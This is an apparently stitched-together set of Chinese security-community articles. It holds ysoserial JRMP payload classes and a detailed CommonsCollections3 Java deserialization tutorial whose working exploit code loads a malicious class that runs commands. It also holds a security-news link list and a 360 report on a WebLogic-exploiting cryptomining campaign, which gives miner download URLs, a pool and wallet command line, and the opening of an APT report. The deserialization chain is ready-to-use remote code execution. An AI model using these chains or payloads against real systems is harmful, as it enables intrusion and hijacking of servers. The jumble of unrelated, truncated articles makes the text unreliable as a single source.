package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
#### 2.寻找Registry的替代类
**廖新喜的方式，**`**java.rmi.activation.Activator**`
**来替代java.rmi.registry.Registry生成payload**
package ysoserial.payloads;
import java.lang.reflect.Proxy;
//import java.rmi.registry.Registry;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author avfisher
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
} | 社区文章 |
# CommonsCollections3
在CC1和CC6中，我们最终弹计算器都是通过`Runtime.exec`进行调用，从CC3我们要介绍一种不通过Runtime来弹计算器的方法，也就是Java中常提到的动态类加载，动态类加载可以让我们通过一个路径来加载一个恶意类，如果这个恶意类在`静态代码块`或`构造代码块`中写入了恶意方法，那么我们就可以通过找一条链子来初始化这个类（一般在进行实例化时会对类进行初始化），从而达到代码块中的代码执行。
ClassLoader中的defineClass最终实现了类的动态加载（后面还有一些过程但已经是依靠c来实现的了），在ClassLoader中可以看到一堆defineClass，我们查找用法，看一下哪个defineClass在别处被调用了，而且权限最好是default或者public，方便我们利用，最终锁定下面这个：
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
这个defineClass被调用的点在`com.sun.org.apache.xalan.internal.xsltc.trax`中的`TemplatesImpl.TransletClassLoader`下，也是一个defineClass：
这个defineClass又在当前类中被`defineTransletClasses`调用：
`defineTransletClasses`同类下有三个被调用点，我们看一下哪个方法可以被我们利用：
第一个返回`_class`：
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
第二个返回了`_class`的下标：
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
第三个方法我们主要看newInstance这里，这个`_class[_transletIndex]`可控（通过上面找到的`defineTransletClasses`动态加载进来），如果我们让_class为我们所构造的恶意类并让它newInstance，那么就可以执行恶意类中的静态/构造代码块中的代码，所以我们接着找这个方法的调用点：
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
下一调用点还是在这个类中，我们找到newTransformer()这个方法：
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
我们来梳理一下到目前的调用链，很短也很方便：
我们先将payload写出来：
TemplatesImpl templatesimpl = new TemplatesImpl();
templatesimpl.newTransformer();
写完啦 下班！（开个玩笑）逻辑上来说这两行代码确实是完整的调用链，我们接下来要做的就是对类内部的各种属性进行赋值：
`newTransformer`内不需要进行赋值操作，跟进到`getTransletInstance`中
，类内没有对_name和_class进行赋值，如果想要触发`defineTransletClasses()`我们就需要让_name不为空，_class为空，直接不给_class赋值即可：
if (_name == null) return null;
if (_class == null) defineTransletClasses();
继续跟进到`defineTransletClasses`中
，如果想要走到下面动态加载_class，我们这里要注意对_tfactory进行赋值，否则对一个空属性调用方法，会爆空指针异常：
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
上一步之后我们在对_class赋值这里可以看到是通过修改`_bytecodes`从而控制_class的值：
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
一共三个需要修改的值，TemplatesImpl类是可序列化的，所以我们可以直接通过反射修改这些值，看一下这几个值的类型:
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
都是private属性，所以要用`setAccessible` 来修改访问权限，name是String类型，所以直接赋个字符串就行：
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
再看`_bytecodes`，一个二维数组，但我们在给_class赋值时defineClass接受的却是一个一维数组：
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
所以我们给`_bytecodes`
赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中，这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass，这个class需要我们在写好java源码后手动编译为class文件，最好把这个class文件复制到电脑上的别的地方再在这里使用（编译后的class文件一般在target下）：
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Test.class
public class Calc {
static{
try {
Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令
} catch (IOException e) { //win下还是calc
throw new RuntimeException(e);
}
}
}
然后我们再来改_tfactory的值：
这里要注意一下，被transient关键字修饰的属性是不参与序列化的，也就是说就算我们通过反射修改了它的值，反序列化后的二进制流这个属性的值也依旧是null，所以这里我们要用其他的方式赋值
private transient TransformerFactoryImpl _tfactory = null;
我们在readObject中发现有对这些属性进行赋值的操作，_tfactory的值是一个TransformerFactoryImpl实例：
_name = (String)gf.get("_name", null);
//以下几行代码对序列化流中的属性读取它们的值，如果读不到值那么将它的值设为默认值（第二个参数）
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
我们先不进行序列化和反序列化，我们先用反射修改_tfactory的值，看看能不能弹计算器（这里我们并没有进行序列化和反序列化，所以其实就是用反射修改了个值，所以是可以修改成功的）：
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
没有弹出来计算器，爆了空指针异常，通过调试发现在_class成功加载类后，是这里抛出了异常：
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
第一个if检查_class的父类是否叫`ABSTRACT_TRANSLET`
，如果没有进入到if里面那么else中的_auxClasses为空，就会抛空指针，并且下面第二个if中也会抛异常，为了避免这两个抛异常的点，我们需要将_class加载的恶意类继承名为`ABSTRACT_TRANSLET`
的父类：
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
修改恶意类，继承的父类中有两个抽象方法需要进行重写：
public class Calc extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("open -na Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
现在就可以弹出计算器了，如果你这里没有弹出来，看一下import的包是不是有问题，`TemplatesImpl`和`TransformerFactoryImpl`的路径一定要是com.xxx，如果是org.xxx是不能用的：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
}
}
下面我们要想办法执行`templatesimpl.newTransformer`，这里依旧是用CC1中用到的`InvokerTransformer.transform`进行代码的执行：
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
ctf.transform(1);
剩下的找`Chainedtransformer.transform` 的调用点就和CC1后面一样了，直接粘过来就是：
package ysoserial.payloads.Test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
}
相较于CC1来说一个是通过调用Runtime来进行命令执行，一个是通过动态类加载进行代码执行，如果过滤了Runtime我们就可以尝试用这条CC3
接下来我们在来说ysoserial上用的另一条调用链：
我们回到`newTransformer`，刚才说的是用CC1后半段直接调用，我们接着向下找调用`newTransformer`
的地方，最终锁定在了`com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java`
这个类上，这个类没有继承serialize接口，也就是说我们没办法通过反射来修改实例中属性的值，但是我们想到对属性值进行初始化的操作一般在构造函数中，我们来看一下它的构造函数：
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们可以通过这个构造函数来控制这个templates的值，所以下一步就是要找可以调用这个构造函数的地方，ysoserial中给出了`InstantiateTransformer`
这个类，通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数：
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
也就是说下面两行代码就可以执行newTransformer了：
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
instantiateTransformer.transform(TrAXFilter.class);
最终还是用ChainedTransformer包裹起来执行：
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
完整的CC6调用链，当InvokerTransformer被ban时就可以用这条链： | 社区文章 |
# 【知识】9月22日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 针对联网智能灯泡的安全性分析、维基解密公布新文档 揭露俄罗斯实施的大规模监控活动、[Project
Zero]模糊测试5个最常用的浏览器DOM引擎 、蓝牙安全向导、针对CVE-2016-10190的详细分析、浅析Python对象注入**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
********
********
CCleaner 攻击者以思科微软等公司为目标
CEO 下班后逮住一个陌生人，引发经济间谍调查
****资讯类：**** ** ******
************
************
攻击者控制WordPress、Joomla、JBoss服务器挖掘门罗币
<https://www.bleepingcomputer.com/news/security/attackers-take-over-wordpress-joomla-jboss-servers-to-mine-monero/>
维基解密公布新文档 揭露俄罗斯实施的大规模监控活动
<http://securityaffairs.co/wordpress/63189/intelligence/wikileaks-russia-peter-service.html>
****
**技术类：** ****
********
针对联网智能灯泡的安全性分析
<https://www.contextis.com/blog/hacking-into-internet-connected-light-bulbs>
Realmode Assembly – Writing bootable stuff – Part 5
<https://0x00sec.org/t/realmode-assembly-writing-bootable-stuff-part-5/3667>
[Project Zero]模糊测试5个最常用的浏览器DOM引擎
<https://googleprojectzero.blogspot.de/2017/09/the-great-dom-fuzz-off-of-2017.html>
Windows kernel pool spraying fun – Part 4 – object & pool headers, kex &
putting it all together
<https://theevilbit.blogspot.hu/2017/09/windows-kernel-pool-spraying-fun-part-4.html>
蓝牙安全向导
<https://csrc.nist.gov/csrc/media/publications/sp/800-121/rev-2/draft/documents/sp800_121_r2_draft.pdf>
How I hacked hundreds of companies through their helpdesk
<https://medium.freecodecamp.org/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c>
通过CISSP考试后的分享
<https://secvul.com/topics/804.html>
新的FinFisher监控活动：是否涉及互联网提供商？
<https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/>
小心Bashware：恶意软件绕过杀软的新方法
<https://research.checkpoint.com/beware-bashware-new-method-malware-bypass-security-solutions/>
uTest：针对Scala的测试框架
<http://www.lihaoyi.com/post/uTesttheEssentialTestFrameworkforScala.html>
CVE-2016-10190详细分析
<https://nandynarwhals.org/cve-2016-10190/>
在Windows上编译Classic POSIX子系统的可执行文件
<https://blog.ret2.io/2017/09/20/subsystem-posix/>
浅析Python对象注入
<http://defencely.com/blog/defencely-clarifies-python-object-injection-exploitation/>
metasploit low-level overview (encoders/paylaods review)
<https://www.exploit-db.com/docs/18532.pdf>
CSP bypass by setting innerHTML on a same-origin page lacking CSP
<https://bugs.chromium.org/p/chromium/issues/detail?id=764518>
Controlling an RC car using GNU Radio and HackRF
[https://www.youtube.com/watch?v=IOKOJIK2kU8&feature=youtu.be](https://www.youtube.com/watch?v=IOKOJIK2kU8&feature=youtu.be)
OS X Kernel Exploit 기초 (OS X 10.12 Sierra)
<http://theori.io/research/korean/osx-kernel-exploit-1>
Email attachment using CVE-2017-8759 exploit targets Argentina
<https://isc.sans.edu/diary.html>
dorkbot:Command-line tool to scan Google search results for vulnerabilities
<https://github.com/utiso/dorkbot> | 社区文章 |
# 【技术分享】利用服务器漏洞挖矿黑产案例分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**作者：360天眼实验室
**
**概述**
BAT代表了利用互联网发财的光鲜一面，与之相对的黑暗面的黑产也会穷尽自己的想象力来最大化自己的收益，在这方面黑产可谓八仙过海，各显其能。有窃取数据转卖实现财务自由的，及时收手的落得这辈子吃喝不愁，贪得无厌的在近期日益严厉的打击下最后吃了牢饭。除了在数据上打主意，我们看到也有通过榨取设备计算能力发些小财的，近期，天眼实验室跟踪了一些通过利用这些NDay漏洞攻击服务器获取控制自动化植入挖矿木马的团伙，给大家分析一个真实的案例。
希望这次的小小暴光能引起某些管理员的警醒，检查一下自己的服务器是否存在漏洞，清除已经存在于机器中的恶意代码（如果存在漏洞几乎可以肯定已经被入侵控制），保障数据和服务的安全。
基于Java的Web应用服务器曾经出过几个非常好用的远程命令执行漏洞，比如以下这两个：
**CVE-2015-7450**
IBM WebSphere Java Comments Collections组件反序列化漏洞
**CVE-2015-4852**
Oracle WebLogic Server Java反序列化漏洞
漏洞细节就不在这儿分析了。尽管技术细节和利用工具已经公开了差不多2年，但目前互联网上还存在着大量有这些漏洞的Web服务器，而这些服务器迟早会沦为攻击者的猎物。至于被控制后的机器会给用来做什么完全就在于攻击者的意愿，有数据的必然会被窃取倒卖，除此以外，服务器一般都有非常好的硬件配置，海量的存储、高速的CPU和网络连接，而现在比特币的价格处于相对的高位，拿服务器来挖矿充分利用其计算能力也算黑产一鸡多吃造福自己的途径。
**案例**
黑产扫描IP段发现开放特定的端口的服务器，确认存在漏洞的Web应用服务器，利用漏洞控制服务器后下载一张包含挖矿恶意程序的图片，解析执行，将服务器转变为一台挖矿的肉鸡。
样本来源于我们架设的蜜罐，服务器开放了WebLogic服务，http://xxx.xx.xx.xxx:7001/ ：
日志分析显示攻击者利用了存在于WebLogic应用服务器中的Java反序列化漏洞攻破了该服务器。获得控制以后，攻击者首先执行一个了脚本，该脚本用于下载执行一个名为regedit.exe程序，此程序会调用powershell.exe去执行如下的powershell脚本：
powershell代码如下图所示：
脚本首先会去开源的网站去下载工具程序dd.exe，用它来写文件，对于大多数主防杀软而言，dd.exe会被标记为白文件，因此使用该工具可以绕过部分检测操作，下图为dd.exe的介绍：
脚本还会去[https://ooo.0o0.ooo/2017/01/22/58842a764d484.jpg](https://ooo.0o0.ooo/2017/01/22/58842a764d484.jpg)
去下载一张jpg图片：
而[https://ooo.0o0.ooo/](https://ooo.0o0.ooo/) 这个网站本身是一个host，可以为用户上传的文件提供外链地址：
网站的界面如图，上传的最大的文件限制为5MB：
下载回来的图片大小为1.44M，这当然不仅仅一张图片：
分析发现，该图片偏移0xd82（3458）处开始为一个PE文件：
最后脚本调用dd.exe把图片中的PE文件提取出来，并命名为msupdate.exe：dd.exe if=favicon.jpg
of=msupdate.exe skip=3458 bs=1 。
分离出来的PE是个自解压文件；
运行解压后会去执行msupdate.exe：
msupdata.exe本身还是个自解压文件：
注释为一个命令行参数，是矿池和比特币钱包地址：
如下包含自解压脚本命令：
Setup=msupdate.exe -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 -p x
TempMode
Silent=1
最终，解压出一个挖矿程序，并以之前的矿池和比特币钱包地址启动该挖矿程序：
整个攻击流程如下：
另外我们还发现一种脚本：
利用WebLogic漏洞去下载如下链接的powershell脚本：
http://45.33.56.197:43110/19pdroifAf1QR84u1yoG7J1ASwmc9r32nU/images/miner.ps1
脚本内容如下图：
它会下载yam.exe，然后把该脚本添加计划任务每6个小时运行一次该脚本，确保恶意代码长期在服务器中运行。
下载下来的exe文件的链接是：
http://45.33.56.197:43110/19pdroifAf1QR84u1yoG7J1ASwmc9r32nU/images/yam.exe
下载下来的文件如图：
下图是脱壳后的字符串，不难看出是挖矿的代码：
**影响面分析**
根据分析得到的网络特征进行匹配，定位到最近一个月被此类恶意代码感染的机器超过20000台，对挖矿工作来说构成颇为可观的算力。对IP来源做统计发现95%以上的都是国内的，反映出国内服务器安全管理还任重而道远：
按国内的省份分布看，黑龙江、湖北、河南、广东、四川是重灾区：
**小结**
黑产对于利益的追逐永远没有止境，它们会”充分”榨取所能得到的一切资源的价值，做到”物尽其用”，我们必须采取一切必要的措施来保护自己，绝不可能侥幸于对手的懒惰。
**IOC**
**URL**
http://txrdr.com/sitecontent/WIN-WEB.jpg
https://ooo.0o0.ooo/2017/01/22/58842a764d484.jpg
http://45.33.56.197:43110/19pdroifAf1QR84u1yoG7J1ASwmc9r32nU/images/miner.ps1
http://45.33.56.197:43110/19pdroifAf1QR84u1yoG7J1ASwmc9r32nU/images/yam.exe
**文件名**
WIN-WEB.jpg
rsyslog.exe
**矿工的用户名**
1140***[email protected]
szt***[email protected]
att***[email protected]
ca***[email protected]
a4***[email protected]
y5***[email protected]
nan***[email protected] | 社区文章 |
# 移动端跨越攻击预警：新型APT攻击方式解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着信息技术的发展，移动存储介质由于其具有体积小、容量大的特点，作为信息交换的一种便捷介质，如今已经得到广泛应用，在个人、政府和企业中经常被使用。但也因此而来一直存在着持续的各种安全攻击问题，每当出现一种新型的移动存储介质，之后总会有一系列随之而来的攻击事件发生，举例历史两个“著名”的攻击事件：在中国，你应当听说过“熊猫烧香”病毒；在海外，你或者听说过微软重金悬赏的“Conficker”病毒。幸运的是微软2011年开始对Windows自动运行功能进行了限制，屏蔽了除光盘外的其它存储介质的自动运行功能，避免了利用自动运行功能来进行攻击的主要攻击方式。
移动端手机不仅仅是手机身份，很多时候它也经常同时成为移动存储介质身份(借助USB线连接或者网络进行实现)，一部分人甚至用它取代了其它移动存储介质，那么移动端手机会不会也已经开启了这种安全隐患？不幸的是，近期360烽火实验室在监测黄金鼠组织(APT-C-27)的攻击活动过程中，发现其新版本的移动端手机攻击样本首次具备了针对PC的RAT诱导跨越攻击，开启了移动端手机跨越攻击的“潘多拉魔盒”。
## 一、攻击样本的来源
此次新版移动端手机攻击样本的来源和360追日团队之前发布的报告[《黄金鼠组织–叙利亚地区的定向攻击活动》](https://ti.360.net/blog/articles/analysis-of-apt-c-27/)提到的来源类似，目前我们共发现到有两个相似名称的来源地址(见图1.1和图1.2)在进行迷惑传播，其中一个来源域名(chatsecurelite.us.to)
在之前的报告中出现过。而PC端RAT的攻击样本“hmzvbs”则直接嵌入在新版本的移动端手机攻击样本中。
图1.1 来源地址一: chatsecurelite.us.to
图1.2 来源地址二: chatsecurelite.uk.to
上述两个来源的域名名称相似，包含的内容相同，我们通过反查分析发现到两个域名实际是指向同一个ip，且关键的是该ip和该组织目前正在使用的C&C
(82.137.255.57)正好一致。这意味着该组织使用的ip(82.137.255.57)至少在攻击中充当着钓鱼传播和远程控制两种用途。
## 二、攻击样本的分析
通过分析对比，我们发现新版本的移动端手机攻击样本除了保留原版的移动端RAT功能之外，此次攻击新增移动存储介质诱导攻击方式，首次实现了从移动端到PC端的攻击跨越，其攻击细节如下：
第一步：移动端攻击样本携带针对PC的PE格式RAT攻击文件“hmzvbs”(见图2.1)。
图2.1 携带的PE RAT攻击文件
